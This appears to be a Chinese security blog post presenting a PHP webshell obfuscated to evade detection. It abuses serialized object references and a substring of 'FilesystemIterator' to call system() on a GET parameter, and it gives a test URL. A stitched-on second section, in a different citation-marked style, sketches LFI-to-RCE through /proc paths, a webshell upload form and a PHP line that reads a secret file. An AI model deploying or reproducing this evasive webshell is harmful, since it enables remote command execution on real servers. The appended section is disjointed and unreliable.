WEB安全--RCE--webshell bypass2

继WEB安全--RCE--webshell bypass的补充:

六、PHP反序列化

webshell:

<?php
$s= 
unserialize('a:2:{i:0;O:8:"stdClass":1:{s:1:"a";i:1;}i:1;r:2;}');
$c = "123";
$arr= get_declared_classes();
$i=0;

for($i;$i<count($arr);$i++){
 $i++;
 $s[1]->a=$_GET['a'];
 if($i<97 || $i>=98){
 continue;
 }
 $c=$s[0]->a;
 print(substr(get_declared_classes()[55],4,6)($c));
}
?>

原理:

打印$s:

可以看到$s反序列化后有两个值,但是源码中似乎只有一个stdClass;原因是[0]是由[1]引用复制后的值,可以理解为[1]的变化会导致[0]的变化

打印$arr:

基于上述两个打印值对源码进行分析,我们不难得出其原理:

一开始$c = "123",进入for循环;

$s[1]->a = $_GET['a']一直在接收我们的传参,不过由于if判断,当$i = 97时才会进入下一步;

此时$s[1]->a的值是我们URL传递的参数,而$c = $s[0]->a,且$s[1]->a 的值会同步影响$s[0]->a,所以$c =  $_GET['a'];

get_declared_classes()[55]对应的是FilesystemIterator,通过截取取出system;

最后 print(substr(get_declared_classes()[55],4,6)($c)) 就会变成:

print(system($_GET['a']))

payload:

http://127.0.0.1/rce/bypass.php?a=whoami

### RCE Bypass Techniques and Methods RCE(远程代码执行)漏洞通常涉及攻击者通过某种方式上传恶意脚本或利用已有的文件读取功能来实现命令执行。以下是几种常见的绕过技术以及如何利用这些技术的方法。 #### 利用 `/proc` 实现 LFI 至 RCE 的高级方法 一种有效的策略是从本地文件包含(LFI)升级到远程代码执行(RCE)。这可以通过 Linux 系统中的特殊文件路径 `/proc/self/environ` 或其他类似的动态链接器配置文件完成。这种方法允许攻击者注入自定义环境变量并触发其执行[^1]。 例如,在某些情况下,如果应用程序存在未过滤的 `include()` 函数调用,则可以尝试加载如下路径: ```php /proc/self/fd/<file_descriptor> ``` 此路径指向当前进程打开的标准输入流或其他文件描述符的内容。当成功访问该位置时,可进一步探索是否存在交互式会话或者临时存储区域供我们写入任意 PHP 脚本来达成最终目标——即获得 shell 访问权限。 #### Web Shell Upload Example 另一个常见场景是在拥有文件操作能力的情况下直接部署 webshell 文件。假设有一个实验室环境中提供了这样的入口点: ```html <form action="/upload.php" method="post" enctype="multipart/form-data"> Select image to upload: <input type="file" name="fileToUpload" id="fileToUpload"> <input type="submit" value="Upload Image" name="submit"> </form> ``` 此时可通过构造特制 payload 来测试服务器端处理逻辑是否安全可靠。比如下面这段简单的 phpinfo() 测试代码片段可能被用来确认基本运行状况之后再替换为更复杂的控制指令集[^2]: ```php <?php echo file_get_contents('/home/carlos/secret'); ?> ``` 上述例子展示了如何提取特定目录下的敏感数据作为初步验证手段之一;然而实际应用过程中还需要考虑更多因素如编码转换、字符转义等问题以免遭到防御机制拦截失败告终。 #### General Resources on Exploitation Strategies 对于希望深入研究各种类型的 rce 技巧的人来说,《Bug Bounty Reference》文档集合提供了一个很好的起点[^3]。它不仅涵盖了基础理论知识还列举了许多实战案例分析帮助读者更好地理解整个过程及其背后原理。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值